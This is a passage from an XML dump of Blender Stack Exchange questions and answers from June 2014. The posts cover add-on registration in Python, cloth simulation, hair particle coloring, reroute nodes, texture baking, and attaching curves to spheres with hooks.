&amp;lt;module&amp;gt;&#xA;      from .__bpy_init__ import *&#xA;OverflowError: modification time overflows a 4 byte field&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Updating Blender to 2.70 and merging the ____init____.py and the _____bpy_init____.py together mostly solved part 2 and 3 and I am already using this code to register it:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def register():&#xA;bpy.utils.register_module(__name__)&#xA;bpy.types.INFO_MT_file_import.append(menu_func_import)&#xA;bpy.types.INFO_MT_file_export.append(menu_func_export)&#xA;&#xA;def unregister():&#xA;    try:&#xA;        bpy.utils.unregister_module(__name__)&#xA;    except:&#xA;        pass&#xA;    try:&#xA;        bpy.types.INFO_MT_file_import.remove(menu_func_import)&#xA;    except:&#xA;        pass&#xA;    try:&#xA;        bpy.types.INFO_MT_file_export.remove(menu_func_export)&#xA;    except:&#xA;        pass&#xA;&#xA;if __name__ == '__main__':&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Still doesn't register it correctly but I can run it from the python console, &#xA;  Updating to 2.70 has introduced another problem that I will post a separate question about since it is most likely not connected to this one in any way.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Part 3: (hopefully solving part 2 solves part 3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i try to run a function &quot;io_scene_skn.import_char() I get an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;AttributeError: 'module' object has no attribute 'import_char'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried defining the attributes for import__char both in line, (doesn't work) syntax error, and individually before calling the io_scene_skn.import_char() command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is the code: (import_char is near the bottom of the code)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class IMPORT_OT_skn(bpy.types.Operator, ImportHelper):&#xA;bl_label=&quot;Import SKN&quot;&#xA;bl_idname=&quot;import.skn&quot;&#xA;&#xA;SKN_FILE = props.StringProperty(name='Mesh', description='Model .skn file')&#xA;SKL_FILE = props.StringProperty(name='Skeleton', description='Model .skl file')&#xA;DDS_FILE = props.StringProperty(name='Texture', description='Model .dds file')    &#xA;MODEL_DIR = props.StringProperty()&#xA;CLEAR_SCENE = props.BoolProperty(name='ClearScene', description='Clear current scene before importing?', default=True)&#xA;APPLY_WEIGHTS = props.BoolProperty(name='LoadWeights', description='Load default bone weights from .skn file', default=True)&#xA;&#xA;&#xA;def draw(self, context):&#xA;    layout = self.layout&#xA;    fileProps = context.space_data.params&#xA;    self.MODEL_DIR = fileProps.directory&#xA;&#xA;    selectedFileExt = path.splitext(fileProps.filename)[-1].lower()&#xA;    if selectedFileExt == '.skn':&#xA;        self.SKN_FILE = fileProps.filename&#xA;    elif selectedFileExt == '.skl':&#xA;        self.SKL_FILE = fileProps.filename&#xA;    elif selectedFileExt == '.dds':&#xA;        self.DDS_FILE = fileProps.filename&#xA;    box = layout.box()&#xA;    box.prop(self.properties, 'SKN_FILE')&#xA;    box.prop(self.properties, 'SKL_FILE')&#xA;    box.prop(self.properties, 'DDS_FILE')&#xA;    box.prop(self.properties, 'CLEAR_SCENE', text='Clear scene before importing')&#xA;    box.prop(self.properties, 'APPLY_WEIGHTS', text='Load mesh weights')&#xA;&#xA;def execute(self, context):&#xA;&#xA;    import_char(MODEL_DIR=self.MODEL_DIR,&#xA;                SKN_FILE=self.SKN_FILE,&#xA;                SKL_FILE=self.SKL_FILE,&#xA;                DDS_FILE=self.DDS_FILE,&#xA;                CLEAR_SCENE=self.CLEAR_SCENE,&#xA;                APPLY_WEIGHTS=self.APPLY_WEIGHTS)&#xA;&#xA;    return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help here?&lt;/p&gt;&#xA;" OwnerUserId="4945" LastEditorUserId="3401" LastEditDate="2015-12-22T17:55:00.110" LastActivityDate="2015-12-22T17:55:00.110" Title="Having a problem with an add-on. (3 part question)" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13465" PostTypeId="1" CreationDate="2014-06-24T23:55:31.820" Score="4" ViewCount="2350" Body="&lt;p&gt;When I bake my cloth sim so the cloth will fall on the chair,instead of covering it like it is supposed to,the back of the chair rips a hole in the cloth. How do I stop this?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0iswf.jpg&quot; alt=&quot;The chair starts to rip a hole,you can see a bit of chair&amp;#39;s back&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uEPEL.jpg&quot; alt=&quot;The hole got bigger and the cloth just fall&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4949" LastEditorUserId="2217" LastEditDate="2014-06-25T00:12:54.493" LastActivityDate="2015-08-11T03:01:11.407" Title="Cloth sim makes hole in my cloth" Tags="&lt;baking&gt;&lt;cloth-simulation&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13466" PostTypeId="1" AcceptedAnswerId="13467" CreationDate="2014-06-25T00:30:36.553" Score="4" ViewCount="5524" Body="&lt;p&gt;This is a bit convoluted (and I'm still wrapping my head around Blender in general) so bear with me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create downy feathers on a robin.  I created a basic hair system, cranked up the clumping for a feathery look, made a few weight maps to control distribution and length, and so far so good: fluff achieved.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what I'd really like to do at this point is to control the color of the fluff based on where it is on the model.  I have a texture mapped to the mesh already (to cover any bald spots that might show through) but that's not doing me much good since the fluff is covering it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to make a separate system for the red breast?  Or is there an easier way?&lt;/p&gt;&#xA;" OwnerUserId="3431" LastEditorUserId="599" LastEditDate="2014-06-25T02:33:17.830" LastActivityDate="2018-05-05T18:40:22.277" Title="Can hair particles acquire color from emitter's UV-mapped image?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;particles&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13467" PostTypeId="2" ParentId="13466" CreationDate="2014-06-25T01:05:38.560" Score="5" Body="&lt;p&gt;Yes you can, In cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the hair's material, simply add an image texture, and plug it into the color factor as such:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7Ijj9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-06-25T01:05:38.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13469" PostTypeId="1" CreationDate="2014-06-25T03:01:59.573" Score="1" ViewCount="55" Body="&lt;p&gt;My layers are gone and I'm in global view. How do I get them back? I've tried the numbers, shift + numbers, I'm in global view and nothing works. Please help!&lt;img src=&quot;https://i.stack.imgur.com/rzZq8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4951" LastEditorUserId="2217" LastEditDate="2014-06-26T21:37:04.557" LastActivityDate="2014-06-26T21:37:04.557" Title="How do I get my layers back?" Tags="&lt;interface&gt;&lt;layers&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-07-17T21:10:31.957" ContentLicense="CC BY-SA 3.0" />
  <row Id="13472" PostTypeId="2" ParentId="13452" CreationDate="2014-06-25T05:02:46.307" Score="3" Body="&lt;p&gt;Use hooks to attach each end of the curve to a sphere. You will most likely want to set the curve handles to vector so the curve stays straight between the two points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would then &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Basics/Drivers&quot; rel=&quot;nofollow noreferrer&quot;&gt;add a driver&lt;/a&gt; to the curve's bevel depth to have it change size based on the distance between the two spheres.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QyXO1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HXWrU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yQmye.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-06-25T05:02:46.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13473" PostTypeId="1" CreationDate="2014-06-25T08:18:28.597" Score="15" ViewCount="12711" Body="&lt;p&gt;In a tutorial a guy split a line like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MZTXW.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have try left click and right click but nothing works.&lt;/p&gt;&#xA;" OwnerUserId="4935" LastEditorUserId="599" LastEditDate="2014-06-25T08:40:23.680" LastActivityDate="2019-11-21T15:40:55.573" Title="How to split node connections?" Tags="&lt;interface&gt;&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13474" PostTypeId="5" CreationDate="2014-06-25T08:23:50.273" Score="0" Body="" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-06-25T08:23:50.273" LastActivityDate="2014-06-25T08:23:50.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13475" PostTypeId="4" CreationDate="2014-06-25T08:23:50.273" Score="0" Body="Keyframes are specific frames where key points of an animation are defined by the user." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-06-25T08:23:50.273" LastActivityDate="2014-06-25T08:23:50.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13476" PostTypeId="2" ParentId="13473" CreationDate="2014-06-25T08:29:37.547" Score="25" Body="&lt;p&gt;That is called a &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Compositing_Nodes#Reroute&quot; rel=&quot;noreferrer&quot;&gt;reroute node&lt;/a&gt;&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hold &lt;kbd&gt;RMB&lt;/kbd&gt; (&lt;kbd&gt;LMB&lt;/kbd&gt; in 2.7x) and &lt;kbd&gt;Shift&lt;/kbd&gt; while dragging your cursor over the noodle(s) to create one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cUbw9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that its only use is making node setups less tangled and easier to work with, it  doesn't affect the result of the node setup at all.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2019-11-21T15:40:55.573" LastActivityDate="2019-11-21T15:40:55.573" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="13478" PostTypeId="2" ParentId="13466" CreationDate="2014-06-25T08:53:08.880" Score="2" Body="&lt;p&gt;When using internal render. If an object has a UV map and that texture is assigned to the particle system, the hairs will inherit the colour from the texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also combine multiple textures using a blend texture set as stencil allowing you to have a different texture map for root and tip (or more).&lt;/p&gt;&#xA;" OwnerUserId="1849" LastActivityDate="2014-06-25T08:53:08.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13479" PostTypeId="1" AcceptedAnswerId="13483" CreationDate="2014-06-25T09:02:00.190" Score="2" ViewCount="1517" Body="&lt;p&gt;I designed a house interior, i used wooden texture and some other texture for walls and windows. How can i generate a final texture image so that i can use that image in open gles ? I added a example image with question. I have to generate image like this for my scene.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/VTD7M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4823" LastActivityDate="2014-06-25T14:26:24.130" Title="How to generate final texture image for complete designed scene" Tags="&lt;blender-internal-render-engine&gt;&lt;blend-files&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13480" PostTypeId="1" CreationDate="2014-06-25T09:35:05.657" Score="0" ViewCount="54" Body="&lt;p&gt;I have a model (v2.69) that renders smoke in the viewport. However while the model appears in the jpg output the smoke does not.  Every thing is in the same blender layer.  I have recently re-built the machine to Ubuntu 14.04 and the problem persists.  6mths ago it was fine, the hardware has not changed and the example files are in &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?338435-Where-can-I-get-some-advice&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?338435-Where-can-I-get-some-advice&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GIMP works fine, the machine works fine and so this is looking like a Blender setting and something that is stopping the smoke from getting to the output file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stuart&lt;/p&gt;&#xA;" OwnerUserId="4953" LastEditorUserId="2217" LastEditDate="2014-06-25T13:48:06.840" LastActivityDate="2014-06-25T13:48:06.840" Title="Smoke missing from jpg output" Tags="&lt;rendering&gt;&lt;smoke-simulation&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ClosedDate="2014-06-29T01:43:16.840" ContentLicense="CC BY-SA 3.0" />
  <row Id="13481" PostTypeId="2" ParentId="13464" CreationDate="2014-06-25T10:50:12.680" Score="1" Body="&lt;p&gt;Note on comment&#xA;I agree with @Sambler, you should update to at least a 2.6+ version. &#xA;I would recommend 2.62 if you are working with mesh data as 2.63 introduced BMesh API changes and you need to make more changes to get that working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first issue was that you were missing the bl_info, the following is a sample for an addon I work on.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#: Blender addon info.&#xA;bl_info = {&#xA;    &quot;name&quot;: &quot;NetImmerse/Gamebryo nif format&quot;,&#xA;    &quot;description&quot;: &quot;Import and export files in the NetImmerse/Gamebryo nif format (.nif)&quot;,&#xA;    &quot;author&quot;: &quot;NifTools Team&quot;,&#xA;    &quot;version&quot;: (2, 6, 0), # can't read from VERSION, blender wants it hardcoded&#xA;    &quot;blender&quot;: (2, 6, 2),&#xA;    &quot;api&quot;: 39257,&#xA;    &quot;location&quot;: &quot;File &amp;gt; Import-Export&quot;,&#xA;    &quot;warning&quot;: &quot;not functional, port from 2.49 series still in progress&quot;,&#xA;    &quot;wiki_url&quot;: (&#xA;        &quot;http://wiki.blender.org/index.php/Extensions:2.5/Py/Scripts/&quot;\&#xA;        &quot;Import-Export/Nif&quot;),&#xA;    &quot;tracker_url&quot;: (&#xA;        &quot;http://sourceforge.net/tracker/?group_id=149157&amp;amp;atid=776343&quot;),&#xA;    &quot;support&quot;: &quot;COMMUNITY&quot;,&#xA;    &quot;category&quot;: &quot;Import-Export&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The next issue is that you are not registering your python module as an addon, which can be done either. In in your &lt;code&gt;__init__.py&lt;/code&gt; you need to define a register() and unregister() function. The easiest option is the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you need more flexibility over registering order you can register each module.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def register():&#xA;    _init_loggers()&#xA;    properties.register()&#xA;    ui.register()&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.INFO_MT_file_import.append(menu_func_import)&#xA;    bpy.types.INFO_MT_file_export.append(menu_func_export)&#xA;&#xA;def unregister():&#xA;    # no idea how to do this... oh well, let's not lose any sleep over it&#xA;    #_uninit_loggers()&#xA;    properties.unregister()&#xA;    ui.unregister()&#xA;    bpy.utils.unregister_module(__name__)&#xA;    bpy.types.INFO_MT_file_import.remove(menu_func_import)&#xA;    bpy.types.INFO_MT_file_export.remove(menu_func_export)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where properties.register may need to register classes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def register():&#xA;    bpy.utils.register_class(NiftoolsMaterialProps)&#xA;    bpy.utils.register_class(NiftoolsObjectProps)&#xA;    bpy.utils.register_class(NiftoolsObjectCollisionProps)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the final syntax error, where is import_char defined?&#xA;He is not in your &lt;code&gt;__init__.py&lt;/code&gt; i.e io_scene_skn&#xA;Either define the function in your &lt;code&gt;__init__.py&lt;/code&gt;, not such a good idea, clutters things up.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def import_char(seif, .., .., ..):&#xA;     #code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Import the &quot;submodule&quot; which contains said function, which I suspect is where it is defined anyways.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from io_scene_skn import char_submodule&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then call it via &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;char_submodule.import_char(args, params, etc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously you should replace &lt;code&gt;char_submodule&lt;/code&gt; with the module/class its defined in.&lt;/p&gt;&#xA;" OwnerUserId="175" LastEditorUserId="175" LastEditDate="2014-06-25T10:58:25.873" LastActivityDate="2014-06-25T10:58:25.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13483" PostTypeId="2" ParentId="13479" CreationDate="2014-06-25T14:03:15.960" Score="2" Body="&lt;p&gt;I'll start from the very beginning even though you said that you have texture painted some of the models since most of these steps will apply to everything you do when making assets for games or accelerated rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.) Select seams that will help to represent your model as a 2D image.  Try to imagine this step as if you are making a real model and wrapping paper around that model.  Paper does not stretch well so you'd have to cut the paper in such a way that it naturally fits to the contour of your model. Try to apply this idea to building your UV coordinates since this will help to eliminate texture stretching for 3D models.  It will also help to keep the texture resolution consistent across the model.  There are situations where you can ignore this but for now this should work well for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1)  Select the edges that will form the seams for the UV island coordinates.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jd4xO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2) With the edges select, press Ctrl-E then find &lt;em&gt;Mark Seams&lt;/em&gt;, now those edges will be highlighted in red.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IvMtb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3 and 4)  Select all the faces of your model, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7jXXX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then press the &lt;kbd&gt;u&lt;/kbd&gt; and select UV Unwrap.  If I had added an extra vertical seam across from the one that I did add, then the UV islands would be able to take up more of the texture space.  That would be more efficient since less of the texture would be wasted on empty space.  You could also add another model's UV Islands to that empty space so that they both share the same texture.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tPPIC.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Now in the UV Image Editor, add a new texture.  This will be the texture that you will bake your materials to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IKMwZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, for models that have been texture painted, you will also want to do the following since this will help to eliminate the seams that are left from painting a model since Texture Paint does not have overdraw.  Baking does, so baking a texture after you have painted it will fix this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So add a material and set it to be shadeless as shown in the following image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9RK6q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, add the texture that you painted in as a material texture and be sure to set the mapping coordinates to UV as shown in the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9wKyn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go to the baking panel and set the render type to &lt;em&gt;Full Render&lt;/em&gt;, this will work since the &lt;em&gt;Material&lt;/em&gt; is already set to &lt;em&gt;Shadeless&lt;/em&gt;.  (&lt;em&gt;Full Render&lt;/em&gt; also allows you to bake multiple materials that are connected together in the &lt;em&gt;Node Editor&lt;/em&gt; so when you are more comfortable with all this then you may want to use that as well.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison, here is the Texture Painted model that will show seams when it's displayed on a model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GdUHo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now press &lt;em&gt;Bake&lt;/em&gt; and save your texture.  Be sure to set the Margin to whatever you feel is best.  I use &lt;em&gt;64&lt;/em&gt;. Now the color along the seams will be extended out past the edges of the UV coords.  For this to work, the UV islands should be at least a few pixels apart from one another.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Zhbj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is basically the procedure for baking any materials using Blender Internal and this pretty much all applies to baking other types of passes such as Ambient Occlusion, Vertex Colors, etc...&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-06-25T14:26:24.130" LastActivityDate="2014-06-25T14:26:24.130" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13484" PostTypeId="1" AcceptedAnswerId="13496" CreationDate="2014-06-25T14:05:11.537" Score="1" ViewCount="3132" Body="&lt;p&gt;I'm trying to create a curve with python to depict a bond between two atoms (spheres) like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.curve.primitive_bezier_curve_add()&#xA;obj = bpy.context.object&#xA;obj.data.dimensions = '3D'&#xA;obj.data.fill_mode = 'FULL'&#xA;obj.data.bevel_depth = self.bevel_depth&#xA;obj.data.bevel_resolution = self.bevel_resolution&#xA;# set first point to centre of atom_1&#xA;obj.data.splines[0].bezier_points[0].co = self.atom_1.locations[0]&#xA;obj.data.splines[0].bezier_points[0].handle_left_type = 'VECTOR'&#xA;# set second point to centre of atom_2&#xA;obj.data.splines[0].bezier_points[1].co = self.atom_2.locations[0]&#xA;obj.data.splines[0].bezier_points[1].handle_left_type = 'VECTOR'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The curve endpoints seem to get set to local coordinates and not to the centers of the spheres.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I add the hooks to attach the endpoints to the two spheres so that the curve ends stay attached to the spheres when animating the movement of the spheres?&lt;/p&gt;&#xA;" OwnerUserId="4940" LastActivityDate="2019-12-30T05:13:13.440" Title="Using python to create a curve and attach its endpoints with hooks to two spheres" Tags="&lt;python&gt;&lt;bezier-curves&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13486" PostTypeId="1" AcceptedAnswerId="13514" CreationDate="2014-06-25T14:50:51.770" Score="3" ViewCount="805" Body="&lt;p&gt;The pivot point of every vertex in the mesh of my object is out of position for some reason how do I put it back to where the geometry of my vertex actually is. I tried origin to cursor but it will say you could not do apply this in edit mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VvURi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As illustrated in the picture above the pivot point is far from where the vertex is located.&lt;/p&gt;&#xA;" OwnerUserId="4956" LastEditorUserId="2217" LastEditDate="2014-06-25T15:08:50.247" LastActivityDate="2014-06-26T10:27:05.467" Title="How do I fix the pivot point of my vertex" Tags="&lt;modeling&gt;&lt;transforms&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13487" PostTypeId="2" ParentId="13486" CreationDate="2014-06-25T16:08:36.113" Score="0" Body="&lt;p&gt;Switch out of edit mode back to object mode and try the &quot;Origin to 3D Cursor&quot; operation again.  It should work.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-06-25T16:08:36.113" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="13488" PostTypeId="2" ParentId="13484" CreationDate="2014-06-25T16:18:42.357" Score="-1" Body="&lt;p&gt;As best I can tell blender does not have what you need for Bezier curves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does have something for meshes.  There is a hook modifier you can apply to a mesh.  You then specify a foreign object and a Vertex Group that will be hooked to that object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So replace your Bezier curve with a simple mesh rectangle (or tube or whatever) and add the hook modifiers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need python code to build the mesh, vertex groups, and modifiers reply in the comments and I'll cobble together something concrete.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-06-25T16:18:42.357" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13489" PostTypeId="2" ParentId="13430" CreationDate="2014-06-25T17:38:04.123" Score="4" Body="&lt;p&gt;You can set hotkeys like shown in this example:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/90XaO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="849" LastActivityDate="2014-06-25T17:38:04.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13490" PostTypeId="2" ParentId="13484" CreationDate="2014-06-25T17:45:14.480" Score="-1" Body="&lt;p&gt;If you want a cylinder to connect two objects a hook modifier probably isn't enough.  As the atoms move relative to each other, the caps of the cylinder won't know to rotate to face the other object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to address this shortcoming you can create a cylinder with a 2-bone armature.  The cylinder has two vertex groups (one for each cap) to map them to each bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bones then have bone constraints.  The first bone constraint is a Copy Location to place the bone in the center of the atom.  The second bone constraint is a Track To to point the bone at the other atom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for this to achieve the desired effect the bones must be oriented correctly in edit mode.  Notice how the top bone points down and has a roll of 180.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eqTyb.png&quot; alt=&quot;bones in edit mode.  Notice the roll on the top bone&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/snygI.png&quot; alt=&quot;bones in pose mode.  Notice the order of the modifiers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need help figuring out the python to construct this sort of arrangement automatically, post a comment and I'll help figure it out.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-06-25T17:45:14.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13491" PostTypeId="1" CreationDate="2014-06-25T17:59:50.137" Score="1" ViewCount="77" Body="&lt;p&gt;For a HUD I'm making I would like the ammo to be displayed based on an image instead of text. How do I link what image is being displayed on a plane (a texture) based on a property?&lt;/p&gt;&#xA;" OwnerUserId="3584" LastActivityDate="2014-08-10T12:53:11.580" Title="Game Engine - Change an image based on property?" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
